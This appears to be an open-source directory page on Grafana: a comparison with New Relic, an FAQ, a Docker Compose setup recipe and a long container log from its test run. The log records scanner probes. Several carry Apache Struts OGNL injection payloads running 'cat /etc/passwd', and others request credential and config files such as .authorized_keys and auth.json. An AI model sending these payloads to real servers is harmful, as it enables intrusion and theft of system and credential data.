Grafana is an open-source observability platform replacing proprietary APM tools with decoupled, high-performance dashboards over any database.
Production incidents across distributed systems overwhelm commercial monitoring dashboards with slow queries and opaque ingestion limits. Grafana queries telemetry where it lives across engines like Prometheus, Tempo, and PostgreSQL, rendering operational graphs without copying data into a closed repository. Teams configure version-controlled dashboards to maintain sub-second visualization across hybrid infrastructure.
New Relic bundles proprietary APM agents, synthetic checks, and log ingestion into a managed cloud platform charging per gigabyte and per seat. Under high traffic spikes, telemetry ingestion costs escalate rapidly, forcing teams to throttle data or truncate retention. Grafana decouples visualization from underlying storage, querying open engines like Prometheus for metrics, Tempo for traces, and Loki for logs. This architecture eliminates vendor lock-in and lets engineering teams query private networks directly without streaming telemetry to external servers.
The trade-off centers on assembly. Where New Relic delivers turnkey auto-instrumentation, Grafana requires teams to maintain their own telemetry pipelines. Engineers must configure OpenTelemetry collectors, manage storage capacity, and construct dashboard definitions. For organizations with high-throughput services, eliminating New Relic's per-seat fees and ingestion caps justifies the operational effort of running a self-hosted visualization layer.
Is Grafana free for commercial use? Yes. The open-source edition is freely usable in commercial environments without seat fees, provided deployments comply with the AGPL-3.0 terms when modifying or network-serving the source code.
Grafana vs New Relic — which should a development team choose? Choose New Relic for turnkey APM with automated instrumentation and zero infrastructure management; choose Grafana for complete data sovereignty, open standards like OpenTelemetry, and freedom from per-gigabyte SaaS billing.
Can Grafana store metrics and logs directly? No. Grafana functions strictly as a querying and visualization interface; it requires external storage backends such as Prometheus, Loki, Tempo, or relational databases to persist telemetry data.
Grafana is the benchmark visualization layer for teams with the engineering capacity to manage their own telemetry backends, though organizations wanting zero-ops turnkey APM will find commercial agents faster to deploy. With over 76,000 GitHub stars and continuous updates pushed through 2026, its active ecosystem and AGPL-3.0 codebase provide long-term stability for internal observability infrastructure.
Commands from the official package registries. Each package is matched to Grafana through the registry's own link to its source code or website.
brew install grafanabrew install grafanasudo pacman -S grafanaWe started this exact setup from scratch in a clean Linux machine on Nov 1, 2026 and checked it through Grafana's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p grafana && cd grafana
curl -fsSL https://open-source.store/tools/grafana/compose.yml -o compose.ymlcat > .env <<EOF
GF_SERVER_ROOT_URL=http://localhost:3000
GF_SECURITY_SECRET_KEY=$(openssl rand -hex 16)
GF_SECURITY_ADMIN_PASSWORD=$(openssl rand -hex 12)
EOFGF_SERVER_ROOT_URL — Public URL where Grafana is reached (e.g. http://<your-server>:3000 or https://grafana.example.com); set this to your server's public URL.GF_SECURITY_SECRET_KEY — Secret key used for signing session cookies and encrypting data source secrets. Generated above; keep it secret.GF_SECURITY_ADMIN_PASSWORD — Initial password for the default admin user account. Generated above; keep it secret.docker compose up -dservices:
grafana:
image: grafana/grafana:13.3.0
container_name: grafana
restart: unless-stopped
ports:
- '3000:3000'
environment:
GF_SERVER_ROOT_URL: ${GF_SERVER_ROOT_URL}
GF_SECURITY_SECRET_KEY: ${GF_SECURITY_SECRET_KEY}
GF_SECURITY_ADMIN_PASSWORD: ${GF_SECURITY_ADMIN_PASSWORD}
volumes:
- grafana-storage:/var/lib/grafana
healthcheck:
test: ["CMD", "curl", "-fsS", "http://localhost:3000/api/health"]
interval: 10s
timeout: 5s
retries: 5
volumes:
grafana-storage: {}
Go, gRPC and Protobuf done right, LLM agents in production, and the hard parts of shipping a first product.
Show that Grafana is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 52 s: grafana/grafana:13.3.0.
Based on the upstream setup. Official compose with a named volume. Uses the open-source grafana/grafana image pinned to 13.3.0 instead of grafana-enterprise, healthcheck added, root URL, encryption secret key, and initial admin password moved to .env.
grafana | 2026-11-01T00:52:45.484469760Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.484384135Z level=info msg="Request Completed" method=GET path=/ status=302 remote_addr=192.168.64.103 time_ms=0 duration=146.084µs size=177 referer= handler=/ status_source=server
grafana | 2026-11-01T00:52:45.484626885Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.48070651Z level=info msg="Request Completed" method=GET path=/viewrq.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=153.542µs size=148 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.484753176Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.484707176Z level=info msg="Request Completed" method=GET path=/library/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=151.541µs size=170 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.484791260Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.481300468Z level=info msg="Request Completed" method=GET path=/perpus/index.php status=302 remote_addr=192.168.64.103 time_ms=1 duration=1.068541ms size=169 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.485056635Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.484993135Z level=info msg="Request Completed" method=GET path=/oliver/FileServlet status=302 remote_addr=192.168.64.103 time_ms=0 duration=141.708µs size=124 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.485060301Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.481645968Z level=info msg="Request Completed" method=GET path=/yyoa/common/js/menu/test.jsp status=302 remote_addr=192.168.64.103 time_ms=0 duration=110.833µs size=138 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.485128385Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.485092718Z level=info msg="Request Completed" method=GET path="/${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/help.action" status=302 remote_addr=192.168.64.103 time_ms=0 duration=249.875µs size=973 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.485204093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.481956343Z level=info msg="Request Completed" method=GET path=/cache/backup/ status=302 remote_addr=192.168.64.103 time_ms=0 duration=128.334µs size=61 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.487767968Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.487642676Z level=info msg="Request Completed" method=GET path=/.circleci/config.yml status=302 remote_addr=192.168.64.103 time_ms=2 duration=2.545667ms size=66 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.487807885Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.482233635Z level=info msg="Request Completed" method=GET path=/portal/attachment_getAttList.action status=302 remote_addr=192.168.64.103 time_ms=0 duration=121.792µs size=237 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.488022343Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.487975135Z level=info msg="Request Completed" method=GET path=/streams/v1/polyaxon/default/s/runs/../artifact status=302 remote_addr=192.168.64.103 time_ms=2 duration=2.678125ms size=170 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.488121468Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.48807426Z level=info msg="Request Completed" method=GET path=/ status=302 remote_addr=192.168.64.103 time_ms=0 duration=259.083µs size=161 referer= handler=/ status_source=server
grafana | 2026-11-01T00:52:45.488136801Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.483230426Z level=info msg="Request Completed" method=GET path=/openam/ui/PWResetUserValidation status=302 remote_addr=192.168.64.103 time_ms=0 duration=112.459µs size=79 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.488189343Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.482772343Z level=info msg="Request Completed" method=GET path=/api/logout status=401 remote_addr=192.168.64.103 time_ms=0 duration=114.833µs size=102 referer= handler=notfound status_source=server errorReason=Unauthorized errorMessageID=auth.unauthorized error="cannot authenticate request"
grafana | 2026-11-01T00:52:45.488302260Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.488262843Z level=info msg="Request Completed" method=GET path=/jshERP-boot/user/getAllList;.ico status=302 remote_addr=192.168.64.103 time_ms=0 duration=87.666µs size=82 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.488322843Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.483462885Z level=info msg="Request Completed" method=GET path=/.circleci/config.yml status=302 remote_addr=192.168.64.103 time_ms=0 duration=87.417µs size=66 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.488580301Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.488522093Z level=info msg="Request Completed" method=GET path=/openam/ui/PWResetUserValidation status=302 remote_addr=192.168.64.103 time_ms=0 duration=117.666µs size=79 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.488683301Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.48375826Z level=info msg="Request Completed" method=GET path=/cache/backup/ status=302 remote_addr=192.168.64.103 time_ms=0 duration=91.583µs size=61 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.488848010Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.488805926Z level=info msg="Request Completed" method=GET path=/api/metrics status=401 remote_addr=192.168.64.103 time_ms=0 duration=87.584µs size=102 referer= handler=notfound status_source=server errorReason=Unauthorized errorMessageID=auth.unauthorized error="cannot authenticate request"
grafana | 2026-11-01T00:52:45.488884926Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.484065843Z level=info msg="Request Completed" method=GET path=/webmail/ status=302 remote_addr=192.168.64.103 time_ms=0 duration=110.125µs size=134 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.488977010Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.48894651Z level=info msg="Request Completed" method=GET path=/login.html status=302 remote_addr=192.168.64.103 time_ms=0 duration=153.417µs size=54 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.489040926Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.480489676Z level=info msg="Request Completed" method=GET path=/api/logout status=401 remote_addr=192.168.64.103 time_ms=0 duration=156.25µs size=102 referer= handler=notfound status_source=server errorReason=Unauthorized errorMessageID=auth.unauthorized error="cannot authenticate request"
grafana | 2026-11-01T00:52:45.489200593Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.489159218Z level=info msg="Request Completed" method=GET path=/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=246.084µs size=241 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.489349301Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.489319801Z level=info msg="Request Completed" method=GET path=/streams/v1/polyaxon/default/s/runs/../artifact status=302 remote_addr=192.168.64.103 time_ms=0 duration=183.083µs size=170 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.489405093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.489332176Z level=info msg="Request Completed" method=GET path=/tests/Zend/Http/Client/_files/testRedirections.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=108.584µs size=193 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.489546593Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.489503468Z level=info msg="Request Completed" method=GET path=/tests/Zend/Http/Client/_files/testRedirections.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=137.542µs size=193 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.489679385Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.48965426Z level=info msg="Request Completed" method=GET path=/login.html status=302 remote_addr=192.168.64.103 time_ms=0 duration=171.625µs size=54 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.489902176Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.489872676Z level=info msg="Request Completed" method=GET path=/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=113.333µs size=160 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.490126135Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.490097676Z level=info msg="Request Completed" method=GET path=/library/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=96.75µs size=63 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.490385968Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.49034626Z level=info msg="Request Completed" method=GET path=/api/metrics status=401 remote_addr=192.168.64.103 time_ms=0 duration=111.958µs size=102 referer= handler=notfound status_source=server errorReason=Unauthorized errorMessageID=auth.unauthorized error="cannot authenticate request"
grafana | 2026-11-01T00:52:45.490648843Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.490615635Z level=info msg="Request Completed" method=GET path=/frontend_dev.php/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=133.334µs size=112 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.490781968Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.480861926Z level=info msg="Request Completed" method=GET path=/.authorized_keys status=302 remote_addr=192.168.64.103 time_ms=0 duration=109.542µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.491061093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.491023385Z level=info msg="Request Completed" method=GET path="/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('cat /etc/passwd')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action" status=302 remote_addr=192.168.64.103 time_ms=0 duration=135.667µs size=813 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.491117218Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.482076301Z level=info msg="Request Completed" method=GET path=/app/kibana/ status=302 remote_addr=192.168.64.103 time_ms=0 duration=84.459µs size=59 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.491181051Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.483339551Z level=info msg="Request Completed" method=GET path=/oliver/FileServlet status=302 remote_addr=192.168.64.103 time_ms=0 duration=71.875µs size=124 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.491269051Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.483906176Z level=info msg="Request Completed" method=GET path=/.authorized_keys status=302 remote_addr=192.168.64.103 time_ms=0 duration=111.75µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.491372301Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.488671676Z level=info msg="Request Completed" method=GET path=/ status=302 remote_addr=192.168.64.103 time_ms=0 duration=316.583µs size=177 referer= handler=/ status_source=server
grafana | 2026-11-01T00:52:45.492261426Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.492124218Z level=info msg="Request Completed" method=GET path="/${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/help.action" status=302 remote_addr=192.168.64.103 time_ms=2 duration=2.525667ms size=973 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.492725301Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.492660968Z level=info msg="Request Completed" method=GET path=/digilib/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=162.125µs size=170 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.492816176Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.481493635Z level=info msg="Request Completed" method=GET path=/ status=302 remote_addr=192.168.64.103 time_ms=0 duration=140.75µs size=161 referer= handler=/ status_source=server
grafana | 2026-11-01T00:52:45.493011926Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.481786176Z level=info msg="Request Completed" method=GET path=/jshERP-boot/user/getAllList;.ico status=302 remote_addr=192.168.64.103 time_ms=0 duration=95.917µs size=82 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.493098968Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.482617468Z level=info msg="Request Completed" method=GET path=/lib/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=113.417µs size=59 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.493367635Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.493325551Z level=info msg="Request Completed" method=GET path=/ckfinder/ckfinder.html status=302 remote_addr=192.168.64.103 time_ms=0 duration=126.5µs size=68 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.493416635Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.475838926Z level=info msg="Request Completed" method=GET path=/api_dev.php/_profiler/empty/search/results status=401 remote_addr=192.168.64.103 time_ms=0 duration=169.834µs size=102 referer= handler=notfound status_source=server errorReason=Unauthorized errorMessageID=auth.unauthorized error="cannot authenticate request"
grafana | 2026-11-01T00:52:45.493546010Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.48362251Z level=info msg="Request Completed" method=GET path=/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=119.875µs size=241 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.493670343Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.484201551Z level=info msg="Request Completed" method=GET path=/yyoa/common/js/menu/test.jsp status=302 remote_addr=192.168.64.103 time_ms=0 duration=94.583µs size=138 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.494055468Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.494014343Z level=info msg="Request Completed" method=GET path=/ckfinder/ckfinder.html status=302 remote_addr=192.168.64.103 time_ms=0 duration=93.333µs size=68 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.494358468Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.494192093Z level=info msg="Request Completed" method=GET path=/vendor/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=74.917µs size=62 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.494882135Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.49483576Z level=info msg="Request Completed" method=GET path=/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=96.375µs size=78 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.495065843Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.49504301Z level=info msg="Request Completed" method=GET path=/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=85.583µs size=163 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.495152010Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.495141218Z level=info msg="Request Completed" method=GET path=/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=45.792µs size=163 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.495250093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.495232801Z level=info msg="Request Completed" method=GET path=/backend_dev.php/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=54.917µs size=111 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.495383718Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.495367885Z level=info msg="Request Completed" method=GET path=/.remote-sync.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=36.875µs size=61 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.495987551Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.49588926Z level=info msg="Request Completed" method=GET path=/.remote-sync.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=41.375µs size=61 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.496217551Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.496203051Z level=info msg="Request Completed" method=GET path=/excel.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=46.875µs size=53 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.496499176Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.496230468Z level=info msg="Request Completed" method=GET path=/__clockwork status=302 remote_addr=192.168.64.103 time_ms=0 duration=164.875µs size=55 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.496629926Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.49636951Z level=info msg="Request Completed" method=GET path=/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=122.333µs size=78 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.496647676Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.496467385Z level=info msg="Request Completed" method=GET path="/${(#_memberAccess[\"allowStaticMethodAccess\"]=true,#[email protected]@getRuntime().exec('cat /etc/passwd').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#[email protected]@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action" status=302 remote_addr=192.168.64.103 time_ms=0 duration=157.792µs size=679 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.496675801Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.496508176Z level=info msg="Request Completed" method=GET path=/excel.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=124.334µs size=53 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.496702093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.496602135Z level=info msg="Request Completed" method=GET path=/__clockwork status=302 remote_addr=192.168.64.103 time_ms=0 duration=76.416µs size=55 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.497402093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.497380676Z level=info msg="Request Completed" method=GET path=/mysql_config.ini status=302 remote_addr=192.168.64.103 time_ms=0 duration=47.834µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.497994010Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.497975135Z level=info msg="Request Completed" method=GET path=/inc/supportLoad.asp status=302 remote_addr=192.168.64.103 time_ms=0 duration=47.417µs size=100 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.498035760Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.498012968Z level=info msg="Request Completed" method=GET path=/inc/supportLoad.asp status=302 remote_addr=192.168.64.103 time_ms=0 duration=70.292µs size=100 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.498395843Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.498100801Z level=info msg="Request Completed" method=GET path=/libs/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=40.792µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.498406051Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.498159926Z level=info msg="Request Completed" method=GET path=/pos-kasir-php/excel.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=27.667µs size=69 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.499186218Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.49900751Z level=info msg="Request Completed" method=GET path=/api_dev.php/_profiler/empty/search/results status=401 remote_addr=192.168.64.103 time_ms=0 duration=821µs size=102 referer= handler=notfound status_source=server errorReason=Unauthorized errorMessageID=auth.unauthorized error="cannot authenticate request"
grafana | 2026-11-01T00:52:45.499554926Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.499539218Z level=info msg="Request Completed" method=GET path=/app.php/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=772.375µs size=103 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.500342551Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.500206593Z level=info msg="Request Completed" method=GET path=/OpenAM-11.0.0/ui/PWResetUserValidation status=302 remote_addr=192.168.64.103 time_ms=0 duration=468.917µs size=86 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.500713385Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.500695468Z level=info msg="Request Completed" method=GET path=/app_test.php/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=610.708µs size=108 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.501636010Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.501608885Z level=info msg="Request Completed" method=GET path=/ui/PWResetUserValidation status=302 remote_addr=192.168.64.103 time_ms=1 duration=1.0245ms size=70 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.502059260Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.502045176Z level=info msg="Request Completed" method=GET path=/test.php/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=852.834µs size=104 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.502764885Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.502730301Z level=info msg="Request Completed" method=GET path=/vendors/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=458.125µs size=63 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.507007426Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.503565718Z level=info msg="Request Completed" method=GET path=/symfony/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=892.958µs size=103 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.507067760Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.504051926Z level=info msg="Request Completed" method=GET path=/mysql_config.ini status=302 remote_addr=192.168.64.103 time_ms=0 duration=430µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.507215093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.50464376Z level=info msg="Request Completed" method=GET path=/library/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=552.25µs size=63 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.507363260Z logger=authn.service t=2026-11-01T00:52:45.507286343Z level=info msg="Failed to authenticate request" client=auth.client.basic error="[password-auth.failed] failed to authenticate identity: [identity.not-found] no user found: user not found"
grafana | 2026-11-01T00:52:45.507590051Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.505487801Z level=info msg="Request Completed" method=GET path=/OpenAM-11.0.0/ui/PWResetUserValidation status=302 remote_addr=192.168.64.103 time_ms=0 duration=814.209µs size=86 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.507919051Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.506288843Z level=info msg="Request Completed" method=GET path="/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('cat /etc/passwd')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action" status=302 remote_addr=192.168.64.103 time_ms=3 duration=3.435333ms size=813 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.507921510Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.506653468Z level=info msg="Request Completed" method=GET path=/vsaPres/Web20/core/LocalProxy.ashx status=302 remote_addr=192.168.64.103 time_ms=1 duration=1.97475ms size=113 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.507925385Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.506906135Z level=info msg="Request Completed" method=GET path=/app.php/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=1 duration=1.928584ms size=103 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.507926176Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.507186926Z level=info msg="Request Completed" method=GET path=/pos-kasir-php/excel.php status=302 remote_addr=192.168.64.103 time_ms=9 duration=9.134ms size=69 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.508381843Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.508362093Z level=info msg="Request Completed" method=GET path=/server/ status=302 remote_addr=192.168.64.103 time_ms=26 duration=26.086375ms size=53 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.509574926Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.509409718Z level=info msg="Request Completed" method=GET path=/debug/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=33.625µs size=101 referer= handler=notfound status_source=server
